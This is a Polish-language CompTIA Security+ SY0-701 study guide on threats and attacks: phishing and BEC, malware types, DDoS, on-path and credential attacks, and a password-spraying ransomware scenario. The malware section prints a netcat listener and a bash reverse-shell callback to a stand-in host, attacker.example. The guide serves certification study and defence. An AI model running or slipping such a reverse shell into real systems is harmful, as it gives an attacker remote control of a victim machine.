CompTIA SY0-701: Zagrożenia, ataki i podatności — Przewodnik do nauki

By Laurynas Brazys · 20 July 2026 · #comptia #sy0-701 #certification #exam-prep #study-guide

Część CompTIA Security+ SY0-701 — Przewodnik do nauki. Ćwicz ze zweryfikowanymi odpowiedziami w centrum egzaminów CompTIA, albo rozwiąż testy na czas na ExamRoll.io.

Współczesny krajobraz zagrożeń definiują przeciwnicy, którzy łączą techniczną eksploatację z manipulacją ludźmi, łączą w łańcuch słabości o niskiej wadze, tworząc kompromitacje o dużym wpływie, oraz maskują swoją aktywność w ramach legalnych procesów biznesowych. Zrozumienie zagrożeń zaczyna się od zrozumienia intencji, zdolności i wektora — oraz od odrzucenia powierzchownych objawów jako pełnego wyjaśnienia.

Inżynieria społeczna i warianty phishingu

Inżynieria społeczna wykorzystuje zaufanie, poczucie pilności, autorytet lub ciekawość, a nie wady oprogramowania. Tradycyjny phishing zarzuca szeroką sieć za pomocą poczty e-mail, wysyłając ogólne przynęty, takie jak fałszywe powiadomienia o wysyłce lub prośby o zresetowanie hasła, do tysięcy odbiorców. Spear phishing zawęża cel, wykorzystując rekonesans z LinkedIn, stron korporacyjnych lub zrzutów z wycieków danych do tworzenia wiadomości dostosowanych do konkretnej osoby lub działu. Whaling celuje w kadrę kierowniczą — dyrektor finansowy, który otrzymuje wiadomość spreparowaną tak, by wyglądała na pochodzącą od zewnętrznego radcy prawnego, jest klasycznym celem — ponieważ ich autorytet umożliwia oszustwa o większym wpływie.

Warianty kanałowe rozszerzają tę samą manipulację na inne media. Vishing (voice phishing) wykorzystuje połączenia telefoniczne, często ze sfałszowanym identyfikatorem dzwoniącego i pretekstem, takim jak podszywanie się pod dział pomocy IT w celu wyłudzenia kodów MFA. Smishing wykorzystuje SMS-y, często posługując się skróconymi adresami URL i przynętami specyficznymi dla urządzeń mobilnych („Twoja paczka nie mogła zostać dostarczona — zaplanuj ponowną dostawę tutaj”). Ponieważ przeglądarki mobilne skracają adresy URL i ukrywają szczegóły certyfikatów, smishing ma nieproporcjonalnie wysoki wskaźnik skuteczności.

Kompromitacja biznesowej poczty e-mail (BEC) zasługuje na szczególną uwagę, ponieważ zazwyczaj nie wiąże się z żadnym złośliwym oprogramowaniem. Atakujący, który albo przejął legalną skrzynkę pocztową, albo podszył się pod podobnie wyglądającą domenę (accounts@vend0r-corp.com zamiast accounts@vendor-corp.com), włącza się do prawdziwego wątku z fakturą i przekierowuje przelew bankowy. Ponieważ treść wiadomości e-mail jest kontekstowo poprawna i nie ma żadnych załączników, bramkowe systemy antymalware i sandboxing adresów URL oferują niewielką ochronę. IC3 należące do FBI zgłosiło straty z tytułu BEC przekraczające 2,9 miliarda dolarów w ciągu jednego roku, co czyni tę kategorię cyberprzestępczością o zdecydowanie najwyższej wartości finansowej.

Częstą pułapką jest nadinterpretacja pozornie niegroźnych objawów. Gdy użytkownik przesyła poświadczenia na stronę phishingową i otrzymuje błąd „nie znaleziono strony”, incydent nie jest rozwiązany — jest to zakończone pozyskanie poświadczeń, w którym atakujący przekierował ofiarę po ich przechwyceniu. Brak oczywistej strony błędu jest cechą ataku, a nie dowodem jego niepowodzenia.

Rodzaje złośliwego oprogramowania

Złośliwe oprogramowanie nie jest monolitem. Ransomware szyfruje dane i żąda zapłaty, a nowoczesne warianty, takie jak Ryuk, Conti i LockBit, najpierw eksfiltrują dane, aby uzyskać dodatkową dźwignię do podwójnego szantażu. Charakterystycznym wskaźnikiem jest masowa zmiana rozszerzeń plików — pliki zmieniają nazwy na .ryk, .locked lub losowy ciąg znaków — w połączeniu z notatkami z żądaniem okupu o nazwach README.txt lub HOW_TO_DECRYPT.html w każdym katalogu.

Rootkity działają na znacznie głębszym poziomie, podpinając się pod struktury jądra, tablice wywołań systemowych lub firmware (bootkity, implanty UEFI), aby ukryć procesy, pliki i połączenia sieciowe przed samym systemem operacyjnym. Ponieważ standardowe narzędzia odpytują jądro, które kontroluje rootkit, wynikom poleceń tasklist lub ps nie można ufać; wykrywanie zazwyczaj wymaga obrazowania kryminalistycznego w trybie offline lub porównania ze znanym dobrym stanem bazowym za pomocą narzędzi takich jak chkrootkit lub analizy pamięci za pomocą Volatility.

Backdoory zapewniają trwały, nieautoryzowany dostęp, często instalowany po początkowej kompromitacji. Mogą przybierać formę zaplanowanego zadania, które komunikuje się z serwerem command-and-control, na stałe zakodowanego poświadczenia wstawionego do aplikacji lub usługi nasłuchującej na nietypowym porcie. Typowe są odwrotne powłoki (reverse shells) wykorzystujące narzędzia takie jak Netcat czy Meterpreter:

# Attacker listener
nc -lvnp 4444

# Victim callback (dropped by malware)
bash -i >& /dev/tcp/attacker.example/4444 0>&1

Pułapką jest tutaj myślenie tunelowe podczas wstępnej analizy (triage). Alert oznaczony jako „wykryto złośliwe oprogramowanie”, który został szybko poddany kwarantannie, nie oznacza, że incydent się zakończył — początkowy dropper mógł już ustanowić backdoor lub zainstalować rootkita, którego agent na punkcie końcowym nie jest w stanie zobaczyć.

Ataki sieciowe

Ataki typu Distributed Denial-of-Service (DDoS) mają na celu dostępność. Ataki wolumetryczne — takie jak zalewanie UDP (UDP flood) czy ICMP (ICMP flood) — zużywają przepustowość łącza. Ataki z odbiciem/wzmocnieniem nadużywają usług stron trzecich, które odpowiadają większymi pakietami danych niż żądanie; zapytanie DNS o wielkości 60 bajtów ze sfałszowanym adresem źródłowym może zwrócić odpowiedź o wielkości 3000 bajtów, a wzmocnienie za pomocą NTP monlist lub memcached może osiągnąć współczynniki powyżej 50 000×. Gdy publiczne usługi internetowe pozostają „aktywne” na serwerze, ale są nieosiągalne z internetu, a logi sieciowe wykazują gwałtowny wzrost ruchu, przyczyną jest prawie zawsze atak DDoS nasycający łącza nadrzędne lub tablice stanów — a nie błąd aplikacji.

Ataki typu on-path (dawniej „man-in-the-middle”) umieszczają atakującego pomiędzy dwiema komunikującymi się stronami. W sieci lokalnej zazwyczaj mechanizmem jest zatruwanie ARP (ARP poisoning): atakujący wysyła niechciane odpowiedzi ARP, twierdząc, że jest właścicielem adresu IP bramy, dzięki czemu ruch ofiary jest po cichu kierowany przez hosta atakującego. Narzędzia takie jak ettercap czy arpspoof automatyzują ten proces, po czym atakujący może usunąć TLS za pomocą sslstrip lub wstrzyknąć treść.

Typosquatting polega na rejestrowaniu domen, które naśladują legalne (goggle.com, paypa1.com), aby przechwytywać błędnie wpisane adresy URL lub służyć jako przekonująca infrastruktura do phishingu i BEC.

Ataki na poświadczenia

Ataki na poświadczenia, zamiast wykorzystywać luki w kodzie, skupiają się na słabych mechanizmach uwierzytelniania. Brute force polega na próbie użycia każdego możliwego hasła wobec jednego konta. Jest to głośny atak, który aktywuje polityki blokady kont. Password spraying odwraca ten model: atakujący próbuje jednego lub dwóch bardzo popularnych haseł (Winter2024!, Password123) na tysiącach kont, pozostając poniżej progu blokady dla każdego pojedynczego konta. Jest to wyjątkowo skuteczne przeciwko organizacjom, które nie stosują MFA u swoich dostawców tożsamości w chmurze.

Credential stuffing polega na ponownym wykorzystaniu par login/hasło pozyskanych z wcześniejszych wycieków danych, wykorzystując fakt ponownego używania haseł w różnych usługach. Ponieważ poświadczenia są prawidłowe dla co najmniej jednej usługi, omijają podstawowe mechanizmy kontroli uwierzytelniania. Wyciek danych z Okta w 2022 roku rozpoczął się od ataku credential stuffing na konto zewnętrznego pracownika wsparcia technicznego — co pokazuje, że nawet dostawcy tożsamości nie są odporni, jeśli MFA nie jest wymuszone na każdej ścieżce dostępu uprzywilejowanego.

Ataki Pass-the-hash i pass-the-ticket kradną materiały uwierzytelniające z pamięci, zamiast łamać hasła. W systemach Windows hashe NTLM przechowywane w pamięci procesu LSASS mogą być wyodrębnione za pomocą narzędzia Mimikatz i ponownie użyte do uwierzytelnienia w innych systemach bez znajomości hasła w postaci jawnej. Bilety TGT (ticket-granting tickets) protokołu Kerberos mogą być w podobny sposób kradzione i ponownie wykorzystywane. Środki zaradcze obejmują Credential Guard (który izoluje proces LSASS w enklawie bezpieczeństwa opartej na wirtualizacji), członkostwo w grupie bezpieczeństwa Protected Users oraz wyłączenie NTLM tam, gdzie dostępny jest Kerberos.

Scenariusz praktyczny: Ransomware w wyniku ataku Password Spraying

Firma logistyczna zatrudniająca 2400 pracowników nie wymusiła stosowania MFA na swoim tenancie Microsoft 365. Przez trzy dni atakujący przeprowadzał atak password spraying, testując hasło Summer2023! na wszystkich znanych adresach e-mail zebranych z serwisu LinkedIn. Dopasowano czterdzieści jeden kont. Atakujący użył jednego z przejętych kont — należącego do menedżera regionalnego — aby uzyskać dostęp do firmowej sieci VPN, która akceptowała poświadczenia M365. Z poziomu VPN atakujący przez dwa tygodnie prowadził wewnętrzny rekonesans, identyfikując serwery kopii zapasowych i kontrolery domeny. W piątkowy wieczór na 340 serwerach uruchomiono ransomware LockBit. Odzyskiwanie danych zajęło 19 dni i kosztowało około 4,1 miliona dolarów, wliczając w to okup, analizę powłamaniową i utracone przychody. Cały łańcuch ataku był możliwy z powodu jednego brakującego zabezpieczenia: MFA na tenancie M365. Atak password spraying jest wykrywalny — reguła SIEM korelująca nieudane uwierzytelnienia na wielu kontach pochodzące z jednego adresu IP zasygnalizowałaby go już pierwszego dnia.

← Zarządzanie tożsamością i dostępem · Wszystkie domeny · Bezpieczeństwo i architektura sieci →

Przećwicz te pytania → · Testy na czas na ExamRoll.io →